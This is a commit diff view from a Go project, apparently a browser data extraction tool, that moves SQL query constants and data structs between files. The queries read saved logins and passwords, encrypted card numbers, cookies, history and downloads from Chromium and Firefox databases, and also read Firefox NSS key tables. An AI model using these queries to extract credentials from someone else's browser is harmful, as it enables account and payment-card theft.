parent
9ba87962a6
commit
88fe9c96db
@ -1,7 +1,76 @@ |
|||||||
package data |
package data |
||||||
|
|
||||||
|
import "time" |
||||||
|
|
||||||
type BrowsingData interface { |
type BrowsingData interface { |
||||||
Parse(masterKey []byte) error |
Parse(masterKey []byte) error |
||||||
|
|
||||||
Name() string |
Name() string |
||||||
} |
} |
||||||
|
|
||||||
|
const ( |
||||||
|
queryChromiumCredit = `SELECT guid, name_on_card, expiration_month, expiration_year, card_number_encrypted FROM credit_cards` |
||||||
|
queryChromiumLogin = `SELECT origin_url, username_value, password_value, date_created FROM logins` |
||||||
|
queryChromiumHistory = `SELECT url, title, visit_count, last_visit_time FROM urls` |
||||||
|
queryChromiumDownload = `SELECT target_path, tab_url, total_bytes, start_time, end_time, mime_type FROM downloads` |
||||||
|
queryChromiumCookie = `SELECT name, encrypted_value, host_key, path, creation_utc, expires_utc, is_secure, is_httponly, has_expires, is_persistent FROM cookies` |
||||||
|
queryFirefoxHistory = `SELECT id, url, last_visit_date, title, visit_count FROM moz_places where title not null` |
||||||
|
queryFirefoxDownload = `SELECT place_id, GROUP_CONCAT(content), url, dateAdded FROM (SELECT * FROM moz_annos INNER JOIN moz_places ON moz_annos.place_id=moz_places.id) t GROUP BY place_id` |
||||||
|
queryFirefoxBookMark = `SELECT id, url, type, dateAdded, title FROM (SELECT * FROM moz_bookmarks INNER JOIN moz_places ON moz_bookmarks.fk=moz_places.id)` |
||||||
|
queryFirefoxCookie = `SELECT name, value, host, path, creationTime, expiry, isSecure, isHttpOnly FROM moz_cookies` |
||||||
|
queryMetaData = `SELECT item1, item2 FROM metaData WHERE id = 'password'` |
||||||
|
queryNssPrivate = `SELECT a11, a102 from nssPrivate` |
||||||
|
closeJournalMode = `PRAGMA journal_mode=off` |
||||||
|
) |
||||||
|
|
||||||
|
type ( |
||||||
|
loginData struct { |
||||||
|
UserName string |
||||||
|
encryptPass []byte |
||||||
|
encryptUser []byte |
||||||
|
Password string |
||||||
|
LoginUrl string |
||||||
|
CreateDate time.Time |
||||||
|
} |
||||||
|
bookmark struct { |
||||||
|
ID int64 |
||||||
|
Name string |
||||||
|
Type string |
||||||
|
URL string |
||||||
|
DateAdded time.Time |
||||||
|
} |
||||||
|
cookie struct { |
||||||
|
Host string |
||||||
|
Path string |
||||||
|
KeyName string |
||||||
|
encryptValue []byte |
||||||
|
Value string |
||||||
|
IsSecure bool |
||||||
|
IsHTTPOnly bool |
||||||
|
HasExpire bool |
||||||
|
IsPersistent bool |
||||||
|
CreateDate time.Time |
||||||
|
ExpireDate time.Time |
||||||
|
} |
||||||
|
history struct { |
||||||
|
Title string |
||||||
|
Url string |
||||||
|
VisitCount int |
||||||
|
LastVisitTime time.Time |
||||||
|
} |
||||||
|
download struct { |
||||||
|
TargetPath string |
||||||
|
Url string |
||||||
|
TotalBytes int64 |
||||||
|
StartTime time.Time |
||||||
|
EndTime time.Time |
||||||
|
MimeType string |
||||||
|
} |
||||||
|
card struct { |
||||||
|
GUID string |
||||||
|
Name string |
||||||
|
ExpirationYear string |
||||||
|
ExpirationMonth string |
||||||
|
CardNumber string |
||||||
|
} |
||||||
|
) |
||||||
|
@ -1,72 +0,0 @@ |
|||||||
package data |
|
||||||
|
|
||||||
import ( |
|
||||||
"time" |
|
||||||
) |
|
||||||
|
|
||||||
const ( |
|
||||||
queryChromiumCredit = `SELECT guid, name_on_card, expiration_month, expiration_year, card_number_encrypted FROM credit_cards` |
|
||||||
queryChromiumLogin = `SELECT origin_url, username_value, password_value, date_created FROM logins` |
|
||||||
queryChromiumHistory = `SELECT url, title, visit_count, last_visit_time FROM urls` |
|
||||||
queryChromiumDownload = `SELECT target_path, tab_url, total_bytes, start_time, end_time, mime_type FROM downloads` |
|
||||||
queryChromiumCookie = `SELECT name, encrypted_value, host_key, path, creation_utc, expires_utc, is_secure, is_httponly, has_expires, is_persistent FROM cookies` |
|
||||||
queryFirefoxHistory = `SELECT id, url, last_visit_date, title, visit_count FROM moz_places where title not null` |
|
||||||
queryFirefoxDownload = `SELECT place_id, GROUP_CONCAT(content), url, dateAdded FROM (SELECT * FROM moz_annos INNER JOIN moz_places ON moz_annos.place_id=moz_places.id) t GROUP BY place_id` |
|
||||||
queryFirefoxBookMark = `SELECT id, url, type, dateAdded, title FROM (SELECT * FROM moz_bookmarks INNER JOIN moz_places ON moz_bookmarks.fk=moz_places.id)` |
|
||||||
queryFirefoxCookie = `SELECT name, value, host, path, creationTime, expiry, isSecure, isHttpOnly FROM moz_cookies` |
|
||||||
queryMetaData = `SELECT item1, item2 FROM metaData WHERE id = 'password'` |
|
||||||
queryNssPrivate = `SELECT a11, a102 from nssPrivate` |
|
||||||
closeJournalMode = `PRAGMA journal_mode=off` |
|
||||||
) |
|
||||||
|
|
||||||
type ( |
|
||||||
loginData struct { |
|
||||||
UserName string |
|
||||||
encryptPass []byte |
|
||||||
encryptUser []byte |
|
||||||
Password string |
|
||||||
LoginUrl string |
|
||||||
CreateDate time.Time |
|
||||||
} |
|
||||||
bookmark struct { |
|
||||||
ID int64 |
|
||||||
Name string |
|
||||||
Type string |
|
||||||
URL string |
|
||||||
DateAdded time.Time |
|
||||||
} |
|
||||||
cookie struct { |
|
||||||
Host string |
|
||||||
Path string |
|
||||||
KeyName string |
|
||||||
encryptValue []byte |
|
||||||
Value string |
|
||||||
IsSecure bool |
|
||||||
IsHTTPOnly bool |
|
||||||
HasExpire bool |
|
||||||
IsPersistent bool |
|
||||||
CreateDate time.Time |
|
||||||
ExpireDate time.Time |
|
||||||
} |
|
||||||
history struct { |
|
||||||
Title string |
|
||||||
Url string |
|
||||||
VisitCount int |
|
||||||
LastVisitTime time.Time |
|
||||||
} |
|
||||||
download struct { |
|
||||||
TargetPath string |
|
||||||
Url string |
|
||||||
TotalBytes int64 |
|
||||||
StartTime time.Time |
|
||||||
EndTime time.Time |
|
||||||
MimeType string |
|
||||||
} |
|
||||||
card struct { |
|
||||||
GUID string |
|
||||||
Name string |
|
||||||
ExpirationYear string |
|
||||||
ExpirationMonth string |
|
||||||
CardNumber string |
|
||||||
} |
|
||||||
) |
|
Loading…
Reference in new issue